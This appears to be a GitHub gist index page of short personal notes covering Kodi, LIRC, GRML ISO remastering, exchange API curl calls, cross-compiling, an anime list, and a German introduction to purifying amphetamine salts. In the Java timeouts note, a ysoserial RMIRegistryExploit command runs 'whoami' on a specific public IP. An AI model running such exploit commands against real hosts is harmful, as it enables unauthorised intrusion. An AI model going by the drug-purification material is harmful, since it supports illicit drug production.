Skip to content

Instantly share code, notes, and snippets.

@dbiesecke
dbiesecke / KodiScriptImporter.py
Last active October 2, 2019 20:18
Kodi Server Test
# -*- coding: utf-8 -*-
'''
Created on 9/05/2014
@author: pybquillast
'''
import sys
import os
@dbiesecke
dbiesecke / Lircmap.xml
Created September 30, 2019 18:59
Kodi / Libreelect LIRC Config - Example on Trongle X3 - Amlogic S905X
<?xml version="1.0" encoding="UTF-8"?>
<!-- ~/.kodi/userdata/Lircmap.xml -->
<!-- This file contains the mapping of LIRC keys to XBMC keys used in Keymap.xml -->
<!-- -->
<!-- How to add remotes -->
<!-- <remote device="name_Lirc_calls_the_remote"> -->
<!-- -->
<!-- For the commands the layout following layout is used -->
<!-- <XBMC_COMMAND>LircButtonName</XBMC_COMMAND> -->
@dbiesecke
dbiesecke / README.md
Last active June 21, 2019 11:07
Remaster Linux ISO / create own live linux

GRML

  • remaster mit grml-live: grml-live -g gr -c GRMLBASE,GRML_FULL,AMD64 -i ../../../home/user/grml_0.0-1.iso -v 0.0-1 -I /tmp/chroot_add/ -N

  • now remaster your CHROOT

  • after youre fine, build it all with: grml-live -g gr -c GRMLBASE,GRML_FULL,AMD64 -i ../../../home/user/grml_0.0-1.iso -v 0.0-1 -I /tmp/chroot_add/ -u

  • add files to iso: xorriso -outdev output.iso -indev grml_0.0-1.iso -blank as_needed -map ./config.bz2 /config.tbz -boot_image isolinux partition_table=on -boot_image isolinux dir=/boot/isolinux

*DEFAULT_BOOTOPTIONS="persistence service=autofs netscript=home.forward.pw/grml/test.pl netconfig=home.forward.pw/grml/config.tbz ssh=yeah12ha lang=de nobeep noeject vnc=yeah12ha startkde"

@dbiesecke
dbiesecke / README.md
Last active December 21, 2018 23:23
Crypto Coin API's

Crypto REST Api Calls

       curl 'https://www.kraken.com/ajax'   -H 'accept-language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7,mt;q=0.6' -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36' -H 'content-type: application/x-www-form-urlencoded; charset=UTF-8' -H 'accept: text/plain, */*; q=0.01' -H 'referer: https://www.kraken.com/u/trade' -H 'authority: www.kraken.com' -H 'x-requested-with: XMLHttpRequest' -H 'dnt: 1' --data 'dataflag%5Bacc%5D=967&dataflag%5Bpub%5D=40&orderlistflag=3&positionlist%5Bpos%5D=0&positionlist%5Breqid%5D=0&positionlist%5Bgroup%5D=1&orderlistclose%5Bpos%5D=0&orderlistclose%5Breqid%5D=1&tradelist%5Bpos%5D=0&tradelist%5Breqid%5D=1&ledger%5Bpos%5D=0&ledger%5Breqid%5D=1&pair=XMREUR&rate%5Breqid%5D=0&rate%5Bkv%5D=false&depth%5Breqid%5D=0&a=fetch' --compressed | jq  '.data.rate.rate'


curl --request GET                                   

--url https://api.bitfinex.com/v1/pubticker/eth

@dbiesecke
dbiesecke / README.md
Created December 15, 2018 23:35
Cross Compile with Musl

Docker and Musl-Multiarch

Cross-Building-and-Running-Multi-Arch-Docker-Images

   https://github.com/multiarch/crossbuild

    $ docker run --rm -v $(pwd):/workdir -e CROSS_TRIPLE=arm-linux-gnueabihf multiarch/crossbuild make helloworld

cc helloworld.c -o helloworld

@dbiesecke
dbiesecke / README.md
Created November 13, 2018 16:58
Anime Tips Crunchyroll
  GTO - The Animation
  Mobile Suit GUNDAM Iron Blooded Orphans
  Tokyo ESP
  Golden Time
  Big Order
  Bungo Stray Dogs
  Berserk
  ReLIFE
  Izetta

Interview with Monster Girl

@dbiesecke
dbiesecke / README.md
Created October 4, 2018 21:58
Speed Reinigen

Reinigung eines Amphetaminsalzes(4 Methoden)

Zur Einführung:

Ich Stelle nun 4 Reinigungs-Methoden vor, dabei hat Jede Vor- und Nachteile und einige davon funktionieren sogar mit jedem Amphetaminsalz, egal ob Sulfat, 'HCl, Phosphat, Citrat ect.. Allerdings steigt damit auch der präparative Aufwand, die Anzahl der benötigten frei verfügbaren Chemiekalien und Gerätschaften (=einmalige Anschaffungskosten).

@dbiesecke
dbiesecke / README.md
Created August 2, 2018 12:02
Java client Timeout Problems

Java Timeouts

-Dsun.rmi.transport.connectionTimeout=1000 -Dsun.rmi.transport.tcp.handshakeTimeout=1000 -Dsun.rmi.transport.tcp.responseTimeout=1000 -Dsun.rmi.transport.connectionTimeout=3000 -Dsun.rmi.transport.tcp.responseTimeout=1000

java -Dsun.rmi.transport.connectionTimeout=1000 -Dsun.rmi.transport.tcp.handshakeTimeout=1000 -Dsun.rmi.transport.tcp.responseTimeout=1000 -Dsun.rmi.transport.connectionTimeout=3000 -Dsun.rmi.transport.tcp.responseTimeout=1000 -cp lib/ysoserial-0.0.6.jar ysoserial.exploit.RMIRegistryExploit 183.60.211.124 1099 CommonsCollections1 whoami

@dbiesecke
dbiesecke / bla.log
Created April 24, 2018 14:57
Modem
[ 261.110000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is down
[ 299.110000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is up
[ 363.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is down
[ 365.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is up
[ 617.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is down
[ 651.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is up
[ 717.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is down
[ 719.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is up
[ 721.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is down
[ 723.160000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 1 is up
@dbiesecke
dbiesecke / README.md
Last active January 1, 2018 02:56
Simple perl based cralwer

Simple multi-threaded crawler

  % cat test | perl ./test.pl
  http://50.205.50.130
  http://50.205.50.130/district/servlet/presentdistrictloginform.do;jsessionid=AD7B955AD398F6F2EFBECFD39586E585
  http://50.205.50.130/common/welcome.jsp;jsessionid=AD7B955AD398F6F2EFBECFD39586E585?site=100
  http://50.205.50.130/backoffice/servlet/presentaboutform.do;jsessionid=AD7B955AD398F6F2EFBECFD39586E585

http://113.106.154.162:80/lcxweb/index.ext